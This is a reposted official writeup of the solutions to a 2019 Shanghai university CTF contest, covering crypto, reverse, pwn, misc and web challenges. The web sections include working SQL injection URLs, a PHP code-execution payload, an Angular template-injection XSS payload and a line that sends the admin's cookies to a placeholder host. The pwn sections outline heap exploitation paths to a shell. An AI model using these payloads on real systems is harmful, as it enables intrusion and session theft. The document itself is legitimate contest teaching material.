第五届上海市大学生网络安全大赛官方WP

原创

Harvey丶北极熊 于 2019-11-05 19:35:05 发布 1278 收藏 6

分类专栏： CTF

本文链接：https://blog.csdn.net/qq_38867330/article/details/102922423

11月2日，2019年全国大学生网络安全邀请赛暨第五届上海市大学生网络安全大赛线上赛圆满结束！

本次线上赛比赛时长为12个小时，赛题包括web题目4道，pwn题目3道，crypto题目2道、reverse题目2道，misc题目4道，靶场场景题1道，共计12道赛题，以下是本次线上赛的writeup（解题思路）：

签到题

附件为一个被人修改过的010editor软件，运行后，如果在界面里点击注册，随便乱填都可以注册成功，好像注册失败会给我们什么东西似的？

一种简单的做法，下载官网并未被修改的过的010editor 9.0.2版本，安装后，对比下exe文件。

另一个最简单的做法就是查找flag字符串了。

Poly

> 考察的是多项式域上的计算，下面所有的运算都是指多项式域上的运算。
>
> 查看chall.sage代码，其加密逻辑是这样的，密钥是分为两部分k1,k2,其会计算(k1*x+k2)%n的值作为密文。一开始会生成两个随机数r1,r2,以及对r1,r2的加密结果。然后会把flag分成前后两部分，对这两部分分别进行加密，并输出。
>
> 首先要恢复k1,k2,已知r1,r2,则构成了多项式域上的一个二元一次方程，需要运用多项式域上的除法来接这个方程。有了k1,k2后需要再解两次次一元一次方程，解密flag。
>
> 编写脚本 solve.sage。

RSA

先看chall.py,发现就是rsa加密，给了n，但是没有直接给e。根据e的范围，知道e比较小，可以先爆破出e等于251。

下一个点是如何分解n，题目输出了(1+p)/p+(1+q)/q =S，等式两边可以同乘以n=pq，并化简，最后可以得到p+q的值，再根据n=pq，可以解这个二元二次方程，求出p,q。

用p，q获得d，进行rsa 解密即可。

HardWare

拿到接线图和hex文件，因为hex难以逆向，且题目给出了元件的明确型号和接线，可知是以仿真的形式来解题。proteus是一款主流的硬件仿真软件，且使用门槛较低，网上关于使用proteus仿真Arduino的资料也很多，很容易学习。

proteus在8.0以后可以直接找到Arduino整板的库，不需要在手动构建最小系统板，但我这里使用的是proteus7.8，所以还要自己搭建一个最小系统，但是也不麻烦，只是多了三个元件而已，晶振和2个电容。对于没有相关基础的选手，使用新版proteus更友好。

根据接线图，连接数码管和单片机。注意数码管选择，7seg-CC代表的是共阴极，我们元件也要选择共阴极。

将hex导入单片机，点击左下角的仿真按钮，就可以观察数码管显示。

Unlimited Base64 Works

提取帧（可以使用ffmpeg -i ubw.avi -v:p 10 -r 30 ./out/out%d.png）

观察到每一帧有一个base64字符，所以目标是把这些字符提取出来，

由于字符的位置是随机的，可以先预处理把字符从图片抠出来，遍历一下找到字符的边界即可

然后就是识别字符了，第一种做法是用ocr工具提取，比如pytesseract等，但对于l、I这些效果不是很好，需要手动修复一部分字符。第二种是根据字符的哈希恢复（因为视频是无损的，所以可以这么做），需要手工整理64个字符的哈希值，使用pdb设置断点可以很快完成这个过程。

将base64解码，得到一张png图片，即为flag

无线安全

拿到附件，发现有两个文件，第一个是个data文件，第二个是个流量包flow.pcapng。先从流量入手，在分析一段之后，发现流量中存在adb安装的特征，在1180序号左右的包中出现。

过滤无用的流量，这里我们确定电脑和手机的ip之后可以使用条件过滤。

但是发现还是有一些无用的tcp重传，keep alive之类的包，这里再进行过滤，完整的过滤条件如下：
3. 将过滤后的流量包导出，使用脚本提取，观察流量，在带有WRTE的包之后就是一大串连续的数据，而且明显是apk文件的内容，另外，还有一些带OKAY或``CLSE的包，这些包中不带有文件数据，可以跳过。因此写出脚本，脚本在解题/extractApk.py`中，运行之后可以从过滤的流量中提取出apk文件。

这里还需要手动删除一些无用的数据，因为apk是个压缩包，所以PK头很明显，直接用010editor把前面没用的数据删了(注意路径不要有中文，不然010可能会打不开)。

4. 将apk安装到手机，可以发现需要输入wifi密码。

5. 这时候再回到第一个safe_wifi-01附件，我们打开看看内容，发现提示WEP，想到wep加密wifi的漏洞，可以使用经典工具

aircrack套件破解。

6. 运行一下aircrack-ng safe_wifi-01

7. 将wifi密码输入apk，得到flag

Puzzle

跟踪程序输入，发现首先做了hex decode，然后做了一个rc4，密钥为qweee。

最后进入一个check函数，根据每位字符在0-9区间，对8个数字做不同的运算，最后要等于一些常数。

总可能性为10^8，因此可以爆破，得到唯一解后rc4加密输入到程序得到flag。解为\x06\x01\x04\x09\x05\x00\x07\x02加密后为7aaa29982a98eaab）。

Touch of Satan

运行程序，发现需要正确的输入，否则输出"error!"

逆向发现程序分三个部分，第一部分验证flag格式为uuid格式，第二部分根据flag第一个字符对flag的顺序进行变换，最后使用一个加密算法加密并验证flag。

逆向可以发现加密函数结构类似AES，但是轮数等细节都不一样，由于加密过程并不复杂，可以手动逆向，也可以搜索得知是Serpent算法。

通过CRC算出key解出字符串“8a40759596ae4d9148da62dd06baf7a4”，再还原之前的顺序变换，得到flag：flag{96ae4d91-7595-48da-8a40-62dd06baf7a4}。

Boring Heap

本题libc版本为2.23，保护全开，只允许用0x20, 0x30, 0x40的fastbin。

核心的漏洞点在于int y = abs(x)当x为-2147483648时，y为负数。

利用这一特性，配合Update函数，当chunk size为0x30时，有机会改掉自己的Chunk header，实现unsorted bin和fastbin的overlap。

之后就是比较常规的思路了，hack main_arena然后改top，最后修改malloc_hook为One_gadget。

本题可用malloc的次数很多，难度不算大。

Login

检查题目保护，题目没开PIE保护。

使用 IDA逆向，很明显delete功能中，free之后没有清除指针，所以存在use after free 漏洞。

这题的难点在于没有show 功能，无法直接泄露lib；最多只能增加6个user，如果通过盲打iofile来泄露的话，次数有点少。

关键点在于login功能中的strcmp函数，我可能可以通过这个功能逐字节爆破我们想要的 内容。

首先制造一个unsorted bin，我们的目的是泄露unsorted bin fd上的libc地址。通过uaf，我们可以改写user结构体第一个指针的低字节，使其指向fd的最高位，然后通过login功能爆破fd的最高字节，然后使用edit功能，将指针改写为指向fd的第二高字节，继续爆破，这样就可以逐字节爆破出fd上的内容，获得libc地址。

有libc地址之后，可以通过uaf 伪造一个假的user 对象，改写其函数指针，即可劫持控制流拿到shell。

SlientNote

本题libc版本为2.23，没开pie和full-relro。只允许calloc 0x28的fastbin和0x208的unsorted bin。且bss上只有这两个指针。

核心的漏洞点在于delete函数有double free。

但是因为只有一个fastbin堆指针，无法直接free。所以先free一次，然后通过scanf让其进smallbin再free一次。这样就能触发unlink。

修改free_got为puts进行泄露。

get shell的方法很多，这里选择继续讲free改为system来稳定拿shell。

注：本题可以先自己试出不是tcache所以没必要下发libc，后面可以通过泄露确定libc具体版本。

Decade

参考Payload：

/code/?
code=echo(join(file(end(scandir(next(each(scandir(chr(floor(tan(tan(atan(atan(ord(cos(chdir(next(scandir(chr(floor(tan(tan(atan(atan(ord(cos(fclose(tmpfile()))))))))))))))))))))))))));

Easysql

1. 尝试寻找回显点，使用join bypass逗号过滤。

/article.php?id=0’ union%0bselect * from (select 1)a join (select 2)b join (select 3)c join (select 4)d%23

2. 尝试爆表，但是or被过滤，我们选取另一个系统表mysql.innodb_table_stats。

/article.php?id=0’ union%0bselect * from (select 1)a join (select (select group_concat(table_name) from mysql.innodb_table_stats where database_name like database()))b join (select 3)c join (select 4)d%23

3. 使用无列名注入，拿到flag。

/article.php?id=0’ union%0bselect * from (select 1)z join (select i.3 from (select * from (select 1)a join (select 2)b join (select 3)c union%0bselect * from fl111aa44a99g)i limit 1 offset 1)x join (select 3)v join (select 3)n%23

Babyt5

1. 首先访问页面，是代码审计题目，有flag.php文件，但是有过滤 使用php的一个bug 绕过过滤读flag。Php,二次url编码，绕过读取提示

Php bug:https://bugs.php.net/bug.php?id=76671&edit=1

2. 根据提示查看 hosts文件。

3. 尝试访问临近ip ，发现内网服务器，发现是一个任意文件包含。

4. 但是没有其他服务，不好直接获取shell，于是扫描端口。

发现 25端口开放 smtp协议， 于是思路为通过gopher 打smtp协议，然后通过包含smtp 日志来获取webshell。

5. 使用gopherus生成poc：

6. 通过二次编码gopher协议攻击内网smtp服务，污染日志。

7. 通过lfi 获取webshell 在根目录下发现flag

Lol2

题目是xss打管理员获取admin的cookie，然后替换cookie进入后台，存在delete后面的注入。从数据库中获取flag。

1. angular模板注入配合`you.children[2].innerText`执行xss代码（name有长度限制

{{[].pop.constructor('eval((you.children[2].innerText))')()}}

输入框输入

new Image().src="https://yourweb/"+document.cookie

你的网址必须可以接收2次以上，第一次接收的为自己的cookie，第二次才是admin的cookie。

2. 使用admin的cookie来访问/admin，提交一次post表单，一番探测后发现删除处存在注入，编写 exp.py, 运行即可获取flag。